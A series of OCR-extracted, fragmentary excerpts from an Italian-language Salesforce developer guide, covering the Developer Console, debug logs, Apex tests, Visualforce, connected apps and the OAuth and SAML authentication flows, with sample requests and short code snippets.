353. ll evento nel codice 2 e Livello di registrazione su cui stato impostato il metodo System Debug DEBUG e Stringa definita dall utente per il metodo System Debug Hello world Ottimizzazione di Salesforce con il codice Guida dell utente Registri debug 283 L esempio di riga del registro debug riportato sotto viene attivato da questo snippet di codice Dan b ne Snippet di codice di una riga del registro debug BisTest private class TestHandleProductPriceChange static testMethod void testPriceChange Invoice Statement _c invoice new Invoice Statement _cistatus_c Negotiating insert invoice Quando il test raggiunge la riga 5 del codice viene inserita nel registro la riga seguente 15 51 01 071 55856000 DML BEGIN 5 Op Insert Type Invoice Statement _c Rows 1 In questo esempio l identificatore evento composto dai seguenti elementi Nome dell evento DML BEGIN Numero di riga dell evento nel codice 5 e Tipo di operazione DML Insert Op Insert Nome oggetto Type Invoice Statement_ C Num ero di righe passate nell operazione DML Rows 1 La tabella che segue riporta i tipi di eventi che vengono registrati i campi o le altre informazioni che vengono registrate con ciascun evento e la combinazione di livello e categoria del registro che determina la registrazione di un evento Nome dell ev
354. ll utente Console sviluppatore 6 e View Logs Visualizza registri utilizzare la scheda Logs Registri per visualizzare un elenco dei registri Aprire i registri nel Log Inspector Controllo registri Il Log Inspector Controllo registri un visualizzatore delle esecuzioni sensibile al contesto che mostra la sorgente di un operazione la causa che l ha attivata e ci che avvenuto in seguito Utilizzare questo strumento per analizzare i registri debug contenenti gli eventi del database l elaborazione Apex il flusso di lavoro e la logica di convalida e Set and View Checkpoints in Apex Code Imposta e visualizza i checkpoint in Apex Code utilizzare la Console sviluppatore per impostare i checkpoint in modo da individuare l origine degli errori Ad esempio se si vuole capire il motivo per cui una determinata richiesta genera un errore possibile analizzare l esecuzione identificare la riga contenente il problema e impostare un checkpoint Quando si esegue nuovamente il processo possibile esaminare la richiesta in quel punto specifico dell esecuzione al fine di capire esattamente in che modo il codice pu essere migliorato Mentre la Console sviluppatore non in grado di mettere in pausa l esecuzione come uno strumento di debug tradizionale offre agli sviluppatori della cloud praticamente la stessa visibilit e riduce la necessit di aggiungere al codice comandi System debug Modifica del codice sorgente e navigazione La
355. ller personalizzato il nome della classe del controller disponibile sotto forma di scheda Fare clic sulla scheda per modificare la classe Apex associata e Sela pagina utilizza estensioni di controller i nomi di ogni estensione sono disponibili sotto forma di schede Fare clic sulla scheda per modificare la classe Apex associata e Se abilitata in Imposta la scheda Stato visualizzazione mostra le informazioni sulle voci che contribuiscono allo stato di visualizzazione della pagina Visualforce e Fare clic su Save subito sopra il riquadro di modifica per salvare le modifiche e aggiornare il contenuto della pagina e Fare clic su Riferimento componente per visualizzare la documentazione di tutti i componenti Visualforce supportati e Fareclicsu Dove si utilizza per visualizzare l elenco di tutti gli elementi di Salesforce che fanno riferimento alla pagina quali schede personalizzate controller o altre pagine e Fare clic sul pulsante Comprimi amp per comprimere il riquadro pi di pagina della modalit di sviluppo Fare clic sul pulsante Espandi amp per riaprire il riquadro Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 72 Fare clic sul pulsante Disabilita modalit sviluppo Q per disattivare completamente la modalit di sviluppo La modalit sviluppo resta disabilitata fino a quando non la si abilita nuovamente dalla pagina delle informazioni personali
356. luppatore aperta i livelli di registrazione generali definiti nella Console sviluppatore avranno effetto su tutti i registri inclusi quelli creati nel corso di una distribuzione Prima di eseguire una distribuzione verificare che il livello di registrazione di Apex Code non sia impostato su Finest Massimo perch la distribuzione rischia di richiedere pi tempo del previsto VEDERE ANCHE Menu Debug Log Inspector Controllo registri Livelli del registro debug Ordine di precedenza del registro debug Log Inspector Controllo registri Il Log Inspector Controllo registri un visualizzatore delle esecuzioni sensibile al contesto che mostra la sorgente di un operazione la causa che l ha attivata e ci che avvenuto in seguito Utilizzare questo strumento per analizzare i registri debug contenenti gli eventi del database l elaborazione Apex il flusso di lavoro e la logica di convalida riquadri visualizzati nel Log Inspector Controllo registri dipendono dalla prospettiva selezionata Per passare da una prospettiva all altra fare clic su Debug gt Switch Perspective Cambia prospettiva Per informazioni sulle prospettive predefinite e personalizzate vedere Gestione delle prospettive nel Log Inspector Controllo registri Log Panels Riquadri registro Il Log Inspector Controllo registri pu contenere i seguenti riquadri e Stack Tree Albero stack e Execution Stack Stack esecuzioni e Execution Log Registro esecuzi
357. lusa la Console sviluppatore vengono eseguiti in parallelo L esecuzione parallela dei test pu accelerare il tempo di esecuzione dei test Talvolta l esecuzione parallela dei test genera problemi di conflitto dei dati in questi casi possibile disattivare l esecuzione parallela In particolare possono verificarsi conflitti di dati ed errori UNABLE TO LOCK ROW nei seguenti casi e Quando i test aggiornano gli stessi record contemporaneamente L aggiornamento degli stessi record avviene in genere quando i test non creano dati propri e disattivano l isolamento dei dati per accedere ai dati dell organizzazione e Quando si verifica una fase di stallo nei test che vengono eseguiti in parallelo e tentano di creare record con valori di campi indice duplicati dati di test vengono ritirati quando un metodo di test termina l esecuzione Si verifica una fase di stallo quando due test in esecuzione attendono rispettivamente che l altro ritiri i dati il che si verifica se i due test inseriscono i record con gli stessi valori univoci di campi indice in ordini diversi possibile evitare questi errori disattivando l esecuzione parallela di test nell interfaccia utente di Salesforce 1 Dalmposta immettere Esecuzione test Apex nella casella Ricerca veloce quindi selezionare Esecuzione test Apex e fare clic su Opzioni 2 Nella finestra di dialogo Opzioni di esecuzione test Apex selezionare Disabilita test apex parallelo e fare clic su OK Per
358. ma quando l amministratore installa l applicazione area di disegno implicitamente consente l accesso agli utenti Pertanto all utente non verr richiesto di consentire a terzi l accesso alle proprie informazioni utente Quando si utilizza questo metodo di accesso l autenticazione viene inviata direttamente all URL dell applicazione area di disegno Se l applicazione area di disegno utilizza l autenticazione tramite richiesta firmata assicurarsi di non aggiungere Eseguire richieste per conto dell utente in qualsiasi momento ad Ambiti Oauth selezionati e Flusso Web OAuth GET vieneutilizzata l autenticazione OAuth e all utente viene chiesto di consentire all applicazione terza di accedere alle proprie informazioni Quando si utilizza questo metodo di accesso l applicazione area di disegno deve avviare il flusso di autenticazione OAuth Se si sta utilizzando il Single Sign On SSO SAML per l autenticazione dell applicazione area di disegno selezionare il campo Metodo di avvio SAML Questo campo abilitato se si seleziona Abilita SAML nella sezione Impostazioni app Web Le opzioni per questo campo sono le seguenti e Provider di identit avviato Salesforce effettua la richiesta iniziale per avviare il flusso SSO e Provider di servizi avviato L applicazione area di disegno avvia il flusso SSO dopo che l app stata richiamata In Posizioni selezionare la posizione in cui l applicazione area di disegno deve apparire per gli ut
359. mato da un estensione e Qualsiasi classe Apex associata ai componenti personalizzati all interno della pagina e Qualsiasi classe associata alla pagina mediante l uso di apex include o apex composition Ad esempio se la pagina A dipende da un controller che chiama una classe Apex B e un utente ha accesso alla pagina A ma non alla classe B l utente pu comunque eseguire il codice nella pagina A Analogamente se una pagina Visualforce utilizza un componente personalizzato con un controller ID PA 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition associato la protezione viene verificata solo per il controller associato alla pagina non per quello associato al componente La protezione delle pagine Visualforce si pu impostare e Dalla definizione di una pagina Visualforce e Insiemi di autorizzazioni e Profili Gli utenti che dispongono dell autorizzazione Personalizza applicazione possono accedere a tutte le pagine Visualforce dell organizzazione associata Tuttavia per questi utenti potrebbero valere delle restrizioni relative alle classi Apex L autorizzazione Personalizza applicazione non consente agli utenti di ignorare tali restrizioni in una pagina Visualforce a meno che questi siano autorizzati ad accedere alla pagina Vi
360. mer key oauth signature method deve essere HMAC SHA1 oauth signature oauth timestamp Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 203 oauth nonce oauth version facoltativo deve essere 1 0 se inclusa oauth callback deve essere uno dei seguenti elementi e URL ospitato dal consumatore ad esempio https www appirio com sfdc_accounts access_ token ready html Tenere presente che questo URL utilizza https o un altro protocollo Non pu invece utilizzare http oob cio out of band e Una firma a pagina 204 creata in base alla specifica OAuth per HMAC SHA1 2 Dopo avere ricevuto la richiesta Salesforce esegue le seguenti operazioni e Convalida la richiesta con la sua copia del segreto consumatore e Genera una risposta contenente il token di richiesta e il segreto del token di richiesta nel corpo HTTP sotto forma di coppie nome valore e Invia la risposta al consumatore Un token di richiesta valido solo per 15 minuti pi tre minuti per tenere in considerazione le eventuali differenze tra gli orologi dei computer 3 Il consumatore indirizza l utente alla pagina di accesso di Salesforce come descritto nella seguente sezione Autorizzazione dell utente Dopo che il consumatore ha effettuato la richiesta a Salesforce affinch il processo possa continuare necessario che l utente venga autenticato da Salesforce Le fasi descritte di segui
361. minato dall elenco a discesa Visualizza o fare clic su Crea nuova visualizzazione per definire le proprie visualizzazioni personalizzate Per modificare o eliminare le visualizzazioni create selezionarle dall elenco a discesa Visualizza e fare clic su Modifica Fare clic su Visualizza per visualizzare pi dettagli in merito all esecuzione di un test specifico Il registro debug viene impostato automaticamente su livelli e categorie specifici che non possibile modificare nella pagina Esecuzione dei test Apex Categoria Database Apex Code Apex Profiling Flusso di lavoro Validation Livello INFO FINE FINE FINEST INFO O Importante per distribuire Apex o inserirlo in un pacchetto per Force com AppExchange devono essere presenti le seguenti condizioni Almeno il 75 di Apex code deve essere coperto da test di unit e tutti questi test devono essere stati completati correttamente Tenere presente quanto segue Durante la distribuzione di Apex a un organizzazione di produzione per impostazione predefinita vengono esequiti tutti i test di unit nello spazio dei nomi dell organizzazione Le chiamate a System debug non rientrano nel conteggio della copertura di Apex Code metodi di test e le classi di test non rientrano nel conteggio della copertura di Apex code Bench il 75 di Apex code debba essere coperto dai test non occorre concentrarsi sulla percentuale di codice coperta ma assicurarsi che ogni caso di
362. mo parametro nonch il percorso del file desiderato all interno dell archivio con il secondo Ad esempio lt apex image url URLFOR Resource TestZip images Bluehills jpg width 50 height 50 gt oppure lt apex includeScript value URLFOR Resource LibraryJs base subdir file js gt e possibile utilizzare i percorsi relativi nei file negli archivi delle risorse statiche per fare riferimento ad altri contenuti all interno dell archivio Ad esempio nel file CSS denominato styles css presente il seguente stile table background image img testimage gif Quando si utilizza tale CSS in una pagina Visualforce necessario assicurarsi che il file CSS possa trovare l immagine Per farlo creare un archivio ad esempio un file zip che include styles css e img testimage gi f Assicurarsi che la struttura del percorso venga mantenuta nell archivio Quindi caricare il file di archivio come risorsa statica denominata style_resources Quindi aggiungere il seguente componente alla propria pagina lt apex stylesheet value URLFOR Resource style resources styles css gt Poich la risorsa statica contiene sia il foglio di stile che l immagine il percorso relativo nel foglio di stile viene scomposto e l immagine visualizzata Una singola risorsa statica pu avere una dimensione massima di 5 MB Ogni organizzazione pu avere un massimo di 250 MB di risorse statiche Le risorse statiche si appl
363. modello deve possedere un intestazione del tipo di contenuto Facoltativa Per rendere questo link azione il link predefinito del gruppo con una formattazione speciale nell interfaccia utente selezionare Link predefinito nel gruppo nun gruppo pu essere presente un solo link predefinito Facoltativo Per visualizzare una finestra di dialogo di conferma per l utente prima dell esecuzione del link azione selezionare Conferma obbligatoria Immettere la Posizione relativa del link azione all interno dei gruppi di link azioni istanziati da quel modello La prima posizione 0 Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 154 18 Immettere la Chiave etichetta Questo valore la chiave per un insieme di etichette dell interfaccia utente da visualizzare per i seguenti stati NewStatus PendingStatus SuccessfulStatus FailedStatus Ad esempio l insieme Post contiene le seguenti etichette Post Pubblicazione in sospeso Pubblicato Pubblicazione non riuscita Questa immagine illustra un link azione con la chiave etichetta Post quando il valore dello stato SuccessfulStatus Pam Jones 13m ago Click to post a feed item Posted Performed by Pam Jones i Like Write a comment 19 Facoltativo Se nessuno dei valori Chiave etichetta significativo per il link azioni impostare Chiave etichetta su Nessuno e immettere un valore nelcampo Etichetta I link azion
364. modificare una nuova etichetta personalizzata 1 Dalmposta immettere Etichette personalizzate nellacasella Ricerca veloce quindi selezionare Etichette personalizzate Fare clic su Nuova etichetta personalizzata per creare un etichetta oppure su Modifica accanto all etichetta personalizzata che si desidera modificare Nella casella di testo Descrizione breve specificare un termine facilmente riconoscibile per identificare questa etichetta personalizzata Questa descrizione viene utilizzata nei campi unione Nota non possibile modificare la lingua di un etichetta personalizzata esistente Se si sta creando una nuova etichetta personalizzata specificare il nome dell etichetta nella casella di testo Nome Questo valore viene utilizzato in Apex e nelle pagine Visualforce per fare riferimento all etichetta personalizzata nomi devono contenere solo caratteri alfanumerici e iniziare con una lettera non devono contenere spazi o caratteri di sottolineatura doppi e devono essere univoci Selezionare la casella di controllo Componente protetto per contrassegnare l etichetta personalizzata come protetta Nella casella di testo Categorie digitare il testo per classificare l etichetta Questo campo pu essere utilizzato nei criteri di filtro quando si creano le visualizzazioni elenco di etichette personalizzate Separare ciascuna categoria con una virgola Il numero totale di caratteri consentiti nella casella di testo Categorie 255
365. mous Window Apri finestra di esecuzione anonima per aprire la finestra Enter Apex Code Inserisci Apex Code Enter Apex Code a x Integer intl 0 void myProcedurel myProcedure2 void myProcedure2 intl myProcedurel v Open Log Execute _Execute Highlighted Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 53 Inserire il codice da eseguire nella finestra Enter Apex Code Inserisci Apex Code o fare clic su 1 per aprire l editor di codice in una nuova finestra del browser Per aprire automaticamente il registro debug risultante al termine dell esecuzione selezionare Open Log Apri registro O Nota Nel codice anonimo non possibile utilizzare il comando static della tastiera 3 Eseguire il codice a Per eseguire tutto il codice nella finestra fare clic su Execute Esegui o premere CTRL E b Pereseguire determinate righe di codice selezionare le righe e fare clic su Execute Highlighted Esegui evidenziate o premere CTRL MAIUSC E 4 Sesi selezionato Open Log Apri registro il registro si apre automaticamente nel Log Inspector Controllo registri Dopo l esecuzione del codice il registro debug viene elencato nella scheda Logs Registri Fare doppio clic sul registro per aprirlo nel Log Inspector Controllo registri 5 Pereseguire nuovamente lo stesso codice senza apportare modifiche fare clic su Debug gt Execute Last
366. munity id se l utente membro di una comunit Salesforce viene fornito l ID comunit dell utente e signature firma HMAC SHA256 con codifica base64 firmata con la chiave privata del consumatore contenente l ID concatenato e issued at Pu essere utilizzata per verificare che l URL identit non stato modificato dopo essere stato inviato dal server e issued at momento in cui la firma stata creata Di seguito illustrato un esempio di risposta da Salesforce id https login salesforce com id 00Dx0000000BV7z 005x0000001209P issued at 1278448101416 refresh token 5Aep8614iLM Dq661ePDmPEgaAW9 Oh_L3JKkDpB4xReb54 pZebnUG0h6sb4KUVDpNtWEo WM39yg instance url https nal salesforce com signature CMJ41 CCaPQiKj 00EwEig9H4wqhpuLSk 4J2urAe fVg access _token 00Dx0000000BV7z AR8AOP0jITN80ESEs 5EbaZTFGOR NBaT1lcyWk7TrqoDjoNIWO2ME sTZzBj fm0E6zMHg6y8PIN4eWze9UKsNEKWUI Cju7m4 token type Bearer scope id api refresh token Se in questa fase si verifica un errore la risposta contiene un messaggio di errore composto dalle seguenti parti e erroriil codice di errore e error descriptionila descrizione dell errore con ulteriori informazioni unsupported response type tipo di risposta non supportato invalid client id identificatore client non valido invalid request HTTPS richiesto invalid request necessario utilizzare HTTP P
367. n AddiInfluence AddProduct AddToCampaign AddToOutlook Descrizione Accettare un record Attivare un contratto Aggiungere un prodotto a un listino prezzi Aggiungere un membro a una campagna Aggiungere una campagna all elenco delle campagne influenti di un opportunit Aggiungere un prodotto al listino prezzi Aggiungere un referente o un lead a una campagna Aggiungere un evento in Microsoft Outlook Oggetti e Gruppo di annunci e Caso e Evento e Campagna Google e Parola chiave e Lead e Frase di ricerca e Versione SFGA e Annuncio testuale Contratto Product2 Campagna Opportunit OpportunityLineltem e Referente e Lead Evento Lightning 41 ID 4 0 N Disponibile nelle versioni Salesforce Classic Variabile globale Action disponibile in tutte le versioni YANG IO NPZZAVA O N UTENTE Per creare modificare ed eliminare Custom S Control formule o pagine Visualforce e Personalizza applicazione Ottimizzazione di Salesforce con il codice AdvancedSetup AltavistaNews Annulla CaseSelect ChangeOwner ChangeStatus ChoosePricebook Clona Guida dell utente Componenti Apex Visualforce e Aprire l impostazione avanzata delle campagne Aprire www altavista com news Annullare un evento Specificare un caso per una soluzione Cambiare il titolare di un record Cambiare lo stato di un caso Scegliere il listino p
368. n Salesforce 184 Policy sui token di aggiornamento specifica il periodo di validit di un token di aggiornamento token di aggiornamento vengono utilizzati dall applicazione connessa abilitata per OAuth per ottenere nuove sessioni senza richiedere all utente di fornire le sue credenziali L applicazione connessa scambia semplicemente il token di aggiornamento con una nuova sessione Utilizzando le policy sui token di aggiornamento gli amministratori possono controllare per quanto tempo viene utilizzato un token di aggiornamento Le opzioni includono quanto segue e Il token di aggiornamento valido finch non viene revocato Questa impostazione il comportamento predefinito Specifica che il token viene utilizzato indefinitamente finch non viene revocato dall utente o dall amministratore possibile revocare i token nella pagina dei dettagli di un utente nelle Applicazioni connesse OAuth o nel rapporto Utilizzo OAuth applicazioni connesse e Fai scadere immediatamente il token di aggiornamento Questa impostazione specifica che il token diventa immediatamente non valido L utente pu utilizzare la sessione corrente token di accesso gi emessa ma non pu utilizzare il token di aggiornamento per ottenere una nuova sessione e Fai scadere il token di aggiornamento se non viene usato per n Questa impostazione rende il token non valido se non viene utilizzato per il periodo di tempo specificato Ad esempio se il valore del campo ind
369. n Salesforce 185 e Per ogni applicazione connessa sono disponibili delle informazioni di base Tuttavia se l applicazione un applicazione area di disegno i valori di questo campo non vengono utilizzati Al contrario viene utilizzato l URL dell applicazione area di disegno specificato quando l applicazione connessa stata creata URL iniziale viene utilizzata se l applicazione connessa utilizza il Single Sign On In questo caso impostare l URL sulla pagina in cui l utente inizia il processo di autenticazione Questa posizione viene anche visualizzata nel menu di commutazione dell applicazione URL iniziale applicazione mobile viene utilizzata per indirizzare gli utenti a un percorso specifico quando accedono all applicazione da un dispositivo mobile e Sono disponibili impostazioni dell app mobile per le applicazioni Richiedi PIN dopo specifica quanto tempo di inattiv connesse mobili che utilizzano la protezione con pin it dell applicazione pu trascorrere prima che la stessa si blocchi e sia necessario inserire il PIN per continuare valori consentiti sono Nessuno nessun blocco 1 5 10 e 30 minuti Questa policy viene applicata solo se viene configurata una Lunghezza PIN corrispondente L applicazione della policy responsabilit dell applicazione connessa Le applicazioni scritte utilizzando Salesforce Mobile SDK possono applicare questa policy oppure l applicazione pu leggere la policy dal ser
370. n salesforce com services oauth2 token lt saml Audience gt lt saml AudienceRestriction gt lt saml Conditions gt lt saml AuthnStatement AuthnInstant 2013 09 05T19 25 14 655Z xmlns saml urn ocoasis names tc SAML 2 0 assertion gt lt saml AuthnContext xmlns saml urn coasis names tc SAML 2 0 assertion gt lt saml AuthnContextClassRef gt urn casis names tc SAML 2 0 ac classes unspecified lt saml AuthnContextClassRef gt lt saml AuthnContext gt lt saml AuthnStatement gt lt saml Assertion gt Uso delle asserzioni bearer SAML Le asserzioni bearer SAML devono essere inviate mediante il metodo POST all endpoint del token https login salesforce com services oauth2 token 0 https test salesforce com services oauth2 token Dopo l invio fornire i seguenti parametri e grant type urn ietf params cauth grant type sam12 bearer Obbligatorio e assertion l asserzione bearer SAML codificata mediante base64url come definito qui http tools ietf org html rfc4648 page 7 Obbligatorio Parametri standard addizionali e format ilformato della risposta pu essere specificato come in un flusso OAuth utilizzando il parametro token o un intestazione HTTP Accepts e scope l ambito non supportato nel flusso Il valore di questo parametro dato dalla combinazione degli ambiti delle approvazioni precedenti Di seguito riportato un esempio di richiesta di token POST services oauth2 token HTTP 1 1 Host l
371. ncante on riuscito indirizzo IP non consentito on riuscito metodo di firma non valido on riuscito URL di richiamata non valido Non riuscito verificatore non valido Non riuscito limite di token di accesso superato GTS8Ezu C3w0pdT1DMyHiJgB6fbhhEPxKjGqlYnlROIUs1 lt session d gt Note Un nonce pu essere utilizzato solo una volta necessario specificare 1 0 per il parametro oauth_ version L indicazione oraria presenta uno dei seguenti valori assente futura troppo vecchia formato non corretto Il nonce assente Il token di richiesta contiene un parametro oauth_ signature method non valido Il token di richiesta contiene un parametro oauth callback non valido Il valore deve essere oob o un URL valido che utilizza https Il token di accesso contiene un parametro oauth _verifier non valido possibile tentare di scambiare un token di richiesta con un token di accesso solo per tre volte Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 207 L applicazione di accesso remoto stata eliminata Codice di Errore Note errore 1713 Non riuscito consumatore eliminato dall organizzazione Salesforce 1716 Non riuscito accesso API OAuth disabilitato L API servizi Web Force com non abilitata per l organizzazione oppure l accesso API OAuth stato disabilitato per l organizzazione Flusso di asserzioni bearer SAML OAuth 2 0 Un asse
372. ncode headerValue 40 system debug hs getBody 41 42 eos 44 system debug SSstatusCode hs getStatusCode 45 else O Nota Quando si modifica una classe con copertura di codice i colori blu e rosso nel Source Code Editor Editor codice sorgente si attenuano per indicare che la copertura non pi valida Quando si modifica e salva una classe la relativa copertura viene rimossa Per verificare la copertura della classe eseguire nuovamente i test VEDERE ANCHE Creazione di una serie di test Esecuzione di test nella Console sviluppatore http Awww salesforce com us developer docs apexcode Content apex_code_coverage_best_pract htm Creazione di una serie di test Una serie di test un insieme di classi che contengono metodi di test Impostare una serie di test nella Console sviluppatore per eseguire i metodi di test in una o pi classi di test 1 Nella Console sviluppatore fare clic sulla scheda Test Test gt New Run Nuova serie Le classi con metodi di test sono elencate nella finestra Select Tests Selezione test Ottimizzazione di Salesforce con il codice Guida dell utente Esecuzione di test nella Console sviluppatore 304 Select Tests x Tesi Selaci Tesis Name Name mM Name AwesomeClassTest testAFailingTest ia 3 SampleClassTest SampleClassTest testMyAwesomeMethod VI di x 5 testMoreCode testMyAwesomeMethodIfFalse 77 sn testMyAwesomeMethodIfTrue VI AwesomeCl
373. ncrono senza dover configurare le chiamate Apex o REST Pu inoltre fornire maggiori dettagli su cosa accade dietro le quinte dell ambiente asincrono delle notifiche push del mondo reale Limiti relativi alle notifiche push Il numero massimo di notifiche push consentite per ogni applicazione mobile associata alla propria organizzazione Salesforce dipende dal tipo di applicazione Numero massimo di notifiche push consentito per Limite Applicazioni mobili fornite da Salesforce ad esempio Salesforce1 50 000 notifiche per app al giorno Applicazioni mobili sviluppate dall organizzazione per l utilizzo interno 35 000 notifiche per da parte dei dipendenti app al giorno Applicazioni mobili installate da AppExchange 5 000 notifiche per app al giorno In questo limite vengono conteggiate solo le notifiche recapitabili Ad esempio si pensi all ipotesi in cui una notifica venga inviata a 1 000 dipendenti dell azienda ma 100 di loro non abbiano ancora installato l applicazione mobile In questo limite vengono conteggiate soltanto le notifiche inviate ai 900 dipendenti che hanno installato l applicazione mobile Ogni test delle notifiche push generato dalla pagina Test notifiche push limitato a un unico destinatario Le notifiche push sono incluse nel conteggio del limite giornaliero di notifiche push di un applicazione Informazioni sulla pagina Invia notifica di prova ID P4 0 N Disponibile nelle versioni Salesforce Classic e L
374. ne Tempistica per vedere una visualizzazione sotto forma di tempistica di tutta la richiesta e per analizzare gli eventi all interno di un singolo blocco Il riquadro Limits Limiti fornisce una visualizzazione di riepilogo delle risorse utilizzate eseguendone la mappatura rispetto ai limiti assegnati alle richieste Esecuzione di query SOQL e SOSL La Console sviluppatore fornisce una semplice interfaccia per la gestione delle query SOQL e SOSL e Edit and Execute SOQL and SOSL Queries Modifica ed esegui query SOQL e SOSL utilizzare lo strumento Query Editor Editor di query per eseguire interrogazioni sui dati della propria organizzazione Ottimizzazione di Salesforce con il codice Guida dell utente Console sviluppatore 7 e View Query Results Visualizza risultati delle query risultati vengono visualizzati in una griglia Query Results Risultati della query nella quale possibile aprire creare aggiornare ed eliminare record Nei risultati delle ricerche SOSL con pi oggetti ogni oggetto visualizzato in una scheda separata VEDERE ANCHE Apertura della Console sviluppatore Panoramica sull interfaccia utente Console sviluppatore Menu File Scheda Logs Registri Esempi di utilizzo del Log Inspector Controllo registri Riferimento per la riga di comando della Console sviluppatore Per aprire o chiudere la finestra della riga di comando della Console sviluppatore fare clic su CTRL MAIUSC L Sono disponib
375. ne S Control Se nella versione aggiornata sono presenti degli S Control necessario cambiare l accesso API del pacchetto installato in un accesso Senza restrizione Ottimizzazione di Salesforce con il codice Visualizzazione e modifica degli S Control O Importante Le pagine Visualforce sostituiscono gli S Control Le organizzazioni che non hanno mai utilizzato gli S Control non li possono creare Gli S Control esistenti restano invariati e potranno sempre essere modificati Per visualizzare i dettagli di un S Control personalizzato da Imposta digitare S Contro1 nella casella Ricerca veloce quindi selezionare S Control e il nome dell S Control e Per modificare un S Control fare clic su Modifica e Perrimuovere un S Control fare clic su Canc e Pervisualizzare un elenco degli altri componenti di Salesforce che fanno riferimento all S Control fare clic su Dove si utilizza Attributi dei Custom S Control Nome attributo Etichetta Nome S Control Tipo Descrizione Descrizione Il testo che viene visualizzato nei layout di pagina per gli S Control incorporati Il nome univoco dell S Control Il nome pu contenere solo caratteri di sottolineatura e alfanumerici e deve essere univoco nell organizzazione Deve iniziare con una lettera non deve includere spazi terminare con un carattere di sottolineatura n contenere due caratteri di sottolineatura consecutivi Indica come si intende utilizzare l S Control
376. ne URLFOR lt script type text javascript gt alert Hi I am demonstrating how to interrupt New Account with an override Click OK to continue window parent location href URLFOR Action Account New null null true lt script gt Per implementare questo S Control creare un S Control HTML con il contenuto sopra Quindi ignorare l azione Nuovo account utilizzando l S Control O Nota La nuova azione non richiede un ID pertanto il secondo argomento nella funzione URLFOR impostato su nu11 Questo esempio non richiede alcun input pertanto il terzo argomento nella funzione URLFOR impostato su nu11 Il quarto argomento nella funzione URLFOR impostato su true per ignorare la sostituzione evitando un loop infinito Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 133 Sostituzione condizionale della pagina iniziale della scheda Account possibile sostituire ignorare la pagina iniziale di una scheda in modo condizionale reindirizzando la pagina iniziale della scheda originale a un S Control sulla base di determinate condizioni Si supponga ad esempio di voler fare in modo che gli utenti in possesso di uno specifico profilo visualizzino un S Control anzich la pagina iniziale della scheda Account Utilizzando il seguente codice di esempio creare un S Control per mostrare le informazioni di un candidato a una posizione lavorativa agli utenti in possesso de
377. ne client riceve il token di accesso sotto forma di reindirizzamento HTTP L applicazione client richiede al server di autorizzazione di reindirizzare l utente agente a un altro server Web o risorsa locale accessibile da parte dell utente agente che sia in grado di estrarre il token di accesso dalla risposta e trasmetterlo all applicazione client Tenere presente che la risposta del token viene fornita sotto forma di cancelletto nell URL Si tratta di una misura di sicurezza che consente di impedire la trasmissione del token al server e agli altri server nelle intestazioni del referral Questo flusso di autenticazione utente agente non utilizza il segreto client in quanto gli eseguibili del client risiedono sul computer o dispositivo dell utente finale il che rende il segreto client accessibile e utilizzabile Avvertenza poich il token di accesso codificato nell URI di reindirizzamento potrebbe essere esposto alle applicazioni dell utente finale e ad altre applicazioni che risiedono nel computer o dispositivo Se si esegue l autenticazione utilizzando JavaScript chiamare window location replace perrimuovere la richiamata dalla cronologia del browser Di seguito sono illustrate le descrizioni delle singole fasi 1 L applicazione client indirizza l utente a Salesforce per autenticare e autorizzare l applicazione ID PA 0 N Disponibile nelle versioni Salesforce Classic Disponibile in tutte le versioni ANOLON TAAA
378. ne della sorgente 267 stack 265 266 unit eseguite 267 W WSDL download 139
379. ne di operazioni per referenti Di seguito riportato un esempio di ricerca di un referente basato sull indirizzo del messaggio email in entrata e di creazione di una nuova operazione global class CreateTaskEmailExample implements Messaging InboundEmailHandler global Messaging InboundEmailResult handleInboundEmail Messaging inboundEmail email Messaging InboundEnvelope env Create an InboundEmailResult object for returning the result of the Apex Email Service Messaging InboundEmailResult result new Messaging InboundEmailResult String myPlainText Add the email plain text into the local variable myPlainText email plainTextBody New Task object to be created Task newTask new Task 0 Try to look up any contacts based on the email from address If there is more than one contact with the same email address an exception will be thrown and the catch statement will be called try Contact vCon SELECT Id Name Email FROM Contact WHERE Email email fromAddress LIMIT 1 Add a new Task to the contact record we just found above newTask add new Task Description myPlainText Priority Normal Status Inbound Email Subject email subject IsReminderSet true ReminderDateTime System now 1 Whold vCon Id m Insert the new Task insert newTask Ottimizzazione di Sa
380. ne di precedenza del registro debug 279 pagina dei dettagli trigger 61 panoramica 49 registri debug 277 ricalcolo condivisione Apex 96 riepilogo classi 59 scaricamento di WSDL personalizzato 139 servizi di email 112 servizio Web esterno 66 test 297 300 303 visualizzazione classe 59 Apex Code Developer s Guide 49 API download di un WSDL 139 API di autenticazione 243 API in blocco 140 API metadati 140 AppExchange errori Apex 55 applicazione connessa flusso bearer SAML 207 flusso di autenticazione 202 215 218 223 225 228 flusso token bearer JWT 210 terminologia 200 Applicazione connessa controllo accesso in 179 180 182 creazione 167 169 dettagli 180 disinstallazione 199 eliminazione 176 esecuzione di test delle notifiche push 188 gestione 181 inclusione in pacchetto 176 limitazioni IP per 179 180 182 messaggi di errore notifiche push 190 modifica 176 179 180 182 monitoraggio uso 186 notifiche push APNS esecuzione di test 189 Notifiche push GCM Android esecuzione di test 190 URL iniziale 180 182 Indice analitico Applicazione di filtri ai registri debug 280 applicazioni connesse provisioning utente 192 194 196 Applicazioni connesse gestione delle applicazioni 187 uso dell endpoint Userinfo 239 utilizzo dell endpoint configurazione autenticazione 243 utilizzo di Endpoint OpenID Connect Discovery 242 Area di attesa dei processi per Apex 63 64 Autorizzazioni personalizzate autorizzazioni personalizzate ric
